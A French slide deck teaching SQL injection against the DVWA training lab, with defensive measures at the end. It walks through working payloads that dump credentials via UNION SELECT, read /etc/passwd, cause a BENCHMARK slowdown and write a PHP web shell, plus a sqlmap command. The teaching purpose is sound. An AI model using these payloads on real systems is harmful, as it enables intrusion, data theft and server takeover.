# Injection SQL  ## aka SQLi ### <i class="fa fa-cogs"></i> Principe * Une application envoie des données * non **sanitized** à un interpréteur * L'attaquant envoie des séquences de texte permettant d'exploiter l'interpréteur visé (**payload**) * toutes sources de données peut être utilisées * paramètres HTTP, PATH_INFO, cookies, en-têtes HTTP, fichiers uploadés * au niveau de la requête [et de la réponse <i class="fa fa-reddit"></i>](http://i.imgur.com/8khrzf9.png) ### <i class="fa fa-user-secret"></i> Que peut on faire? * Lire des données "protégées" * Corrompre des données * Dénis de services * Lecture / écriture sur le système de fichiers * Exécution de commandes arbitraires Note: - marche pour tout interpréteur LDAP, XML, bash (shellshock) - détectable aux messages d'erreur en cas d'input invalide - SQL universel ce qui rend la faille très populaire - au moment de l'exploitation il faut connaître le SGBD poru aller plus loin - écriture dans des fichiers - passer des commandes via xp_commandshell pour un server MSSQL - potentielle compromission totale - exécution de code - backdoor - local root exploit ## [Différents types](https://www.linkedin.com/grp/post/36874-130061102) #### [<i class="fa fa-eye"></i> Error-based](https://www.owasp.org/index.php/SQL_Injection) * Les messages d'erreur mysql sont accessibles #### [<i class="fa fa-check-square"></i> Boolean (Blind)](https://www.owasp.org/index.php/Blind_SQL_Injection) * Pas de message d'erreur * Un comportement différent selon que la **payload** est exécutée ou non * nécessite en général d'itérer * avec un LIKE par exemple pour déduire lettre par lettre ## [Différents types](https://www.linkedin.com/grp/post/36874-130061102) #### [<i class="fa fa-eye-slash"></i> (true) Blind](https://www.owasp.org/index.php/Blind_SQL_Injection) * Pas de message d'erreur * Pas de moyen de savoir si la **payload** a été éxécutée ou non * cas d'une redirection systématique * nécessite en général d'itérer * avec un LIKE par exemple pour déduire lettre par lettre Note: - boolean type: formulaire d'authentification - erreur en cas d'échec - drapeau rouge - home page en cas de succés - drapeau vert - attention une 404 ou une 500 peut être le drapeau vert - blind typique - accès à un contenu privé www.example.org/display.php?item=1' - redirige systématiquement sur la page d'authentification - l'idée est de charger la requête et de chronomtérer le temps d'exécution - une requête invalide ne sera pas exécuté donc le temps de réponse sera inférieur au temps d'une requêt valide qui sera exécuté - Benchmark() MySQL - WaitFor() MSSQ ## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based L'idée est d'utiliser les commentaires pour terminer prématurément l'exécution du SQL ```php $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); $num = mysql_numrows($result); $i = 0; while ($i < $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); echo '<pre>'; echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; echo '</pre>'; $i++; } ``` ## <i class="fa fa-eye"></i> [SQLi](https://www.owasp.org/index.php/SQL_Injection) Error-based détectable en tentant une simple **'** en entrée ```http http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit# ``` produit ``` You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 ``` intéressant! ## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/) sensible à (version human readable) ```http http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit ``` soit en version encodée ```http http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit ``` affiche la liste de tous les utilisateurs ** <i class="fa fa-bomb"></i> on peut mieux faire !! ** Note: - je donne les urls en mode human readable - les valeurs sont à copier dans le champs - PAS dans l'url - se détecte avec juste ' ou en fuzzant plus large - fuzzdb/attack-playloads/sql-injection/detect/MySQL.fuzz.txt - fuzzdb/attack-playloads/attack-payloads/all-attacks - tester avec Burp - avec la hackbar - mettre un flag grep SQL - filtrer par length, error, et flag SQL ## [SQL Injection - security low](http://dv.wa/vulnerabilities/sqli_blind/) ```http http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 5#&Submit=Submit ``` affiche un message d'erreur ```http http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit ``` est exécutée ```http http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 3#&Submit=Submit ``` affiche un message d'erreur **<i class="fa fa-trophy"></i> par dichotomie** **il y a 2 champs dans la clause SELECT** Note: - va nous permettre d'étendre les requêtes à d'autres tables ## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) ```http http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 UNION SELECT NULL, user()#&Submit=Submit ``` affiche l'utilisateur courant (mysqlusername@mysqlhost) à la fin de la liste des users ```http http://dv.wa/vulnerabilities/sqli/?id=' or 0=0 UNION SELECT NULL, database()#&Submit=Submit ``` affiche le nom de la base de données à la fin de la liste des users ## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) ```http http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables#&Submit=Submit ``` * affiche toutes les tables via la table virutelle [information_schema](http://dev.mysql.com/doc/refman/5.1/en/information-schema.html) * quand on fait de l'**UNION** de deux tables distincts on parle de **Cross table** ```http http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_name LIKE '%user%'#&Submit=Submit ``` affiche toutes les tables qui contiennent user ## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) ```http http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(table_name,0x0a,column_name) FROM information_schema.columns WHERE table_name = 'users'#&Submit=Submit ``` * affiche toutes les champs de la table user ```http http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit ``` * affiche toutes les valeurs des champs *user* et *password* de la table user * reste à brute forcer ## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) ```http http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, benchmark(5000000, encode('MSG', 'pass-phrase')) FROM users#&Submit=Submit ``` * chiffre 5 000 000 de fois la chaîne 'MSG' en utlisant 'pass-phrase' comme mot de passe * DoS * utile pour les vraies blind SQLi ## [<i class="fa fa-eye"></i> SQLi - security low](http://dv.wa/vulnerabilities/sqli_blind/) ```http http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, LOAD_FILE("/etc/passwd")#&Submit=Submit ``` affiche toutes le contenu du fichier /etc/passwd ```http http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, "<?php system(\$_GET[cmd]) ?>" INTO DUMPFILE "/var/www/dvwa/hackable/uploads/shell.php"#&Submit=Submit ``` écriture du fichier shell.php dans le système de fichiers ```http http://dv.wa/hackable/uploads/shell.php?cmd=ls ``` execution de commandes systèmes avec les privilèges du thread apache ## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) <i class="fa fa-exclamation-circle"></i> le code vulnérable a changé entre low et medium * utilisation de la fonction [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php) * ajoute un anti-slash aux caractères suivants : NULL, \x00, \n, \r, \, ', " et \x1a. * contournable en appliquant l'encodage HTTP (HTML URL Encoding) aux caractères injectés ## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) ```http $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; ``` devient ```http $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; ``` ## [<i class="fa fa-eye"></i> SQLi - security medium](http://dv.wa/vulnerabilities/sqli_blind/) donc l'injection du niveau low ```http ' OR user_id > 0# ``` devient pour fonctionner au niveau medium ```http 1 OR user_id > 0# ``` devient une fois encodée ```http 1%20OR%20user_id%20%3E%200 ``` et s'injecte directement via l'url ```http http://dv.wa/vulnerabilities/sqli/?id=1%20OR%20user_id%20%3E%200&Submit=Submit ``` Note: - à saisir directement dans l'url - utiliser plutôt l'encoder de burp - sinon hackbar à comparer - https://www.information-security.fr/dvwa-sql-injection-solutions-protections/ ## [SQLmap](http://sqlmap.org/) * Fait tous le boulot à votre palce * une ligne de commmande * affiche des résultats propres * abstrait * le moteur de base de données * les différentes techniques d'injections ```http sqlmap --url "http://dv.wa/vulnerabilities/sqli/?id=1&Submit=Submit#;" --cookie="PHPSESSID=ss07hir39n0drbanfiqh6rt7e2; security=low" --tables ``` <i class="fa fa-exclamation-circle"></i> remplacer par la valeur de votre jeton de session ### [<i class="fa fa-check-square"></i> SQLi (Blind) - security low](http://dv.wa/vulnerabilities/sqli_blind/) * on se concentre sur le user 1337 (id=3) * on cherche à deviner son mot de passe ```http http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE 'a%'#&Submit=Submit ``` n'affiche rien!! en revanche ```http http://dv.wa/vulnerabilities/sqli_blind/?id=3' AND password LIKE '8%'#&Submit=Submit ``` affiche ``` ID: 3' AND password LIKE '8% First name: Hack Surname: Me ``` ## <i class="fa fa-eye-slash"></i> [True Blind SQL Injection](https://www.owasp.org/index.php/Blind_SQL_Injection) * Si aucun output n'est disponible * on ajoute du calcul artificiellement * la **payload** est exécutée * le temps de réponse = temps de traitement + temps de calcul artificiel * la **payload** n'est pas exécutée * le temps de réponse = temps de traitement problématique similaire à une booléenne Note: - discussion sur les vraies blind - in fine même problème une fois scripter ## <i class="fa fa-medkit"></i> Se préserver * [Ne plus utiliser les fonctions mysql_ leur préférer mysqli_](http://stackoverflow.com/questions/548986/mysql-vs-mysqli-in-php) * Utiliser des requêtes préparées * PDO, ORM : Doctrine2, Propel * Être le plus silencieux possibles quant aux requêtes invalides * [@](http://php.net/manual/fr/language.operators.errorcontrol.php) mais pas [or die()](http://php.net/manual/fr/function.die.php) * [error_reporting](http://php.net/manual/fr/function.error-reporting.php), pas [mysql_error()](http://php.net/mysql_error) ni [mysqli_error()](http://php.net/manual/fr/mysqli.error.php) * repérer les requêtes suspectes dans les logs Note: - TODO regarder si les messages sont désactiables à partir de MySQL ## <i class="fa fa-medkit"></i> Se préserver * Filtrage par listes blanches * caster * [intval()](http://php.net/manual/fr/function.intval.php), [floatval()](http://php.net/manual/fr/function.floatval.php), ... * si l'id est toujours un entier ... * échappement des paramètres de requêtes * [stripslashes()](http://php.net/manual/fr/function.stripslashes.php), [mysql_real_escape_string()](http://php.net/manual/fr/function.mysql-real-escape-string.php) ## <i class="fa fa-medkit"></i> Se préserver * Web Application Firewall (WAF) * [mod_security](https://www.modsecurity.org/) * log le POST * <i class="fa fa-fire"></i> [SQL Injection: Les techniques d’évasion de filtres](http://www.mcherifi.org/hacking/sql-injection-les-techniques-devasion-de-filtres.html) * Les privilèges de l'utilisateur SQL ont un sens * [FILE](https://dev.mysql.com/doc/refman/5.1/en/privileges-provided.html#priv_file) * attention aux permissions sur la base de données * information_schema ... * Changer les préfixes de table des CMS quand c'est possible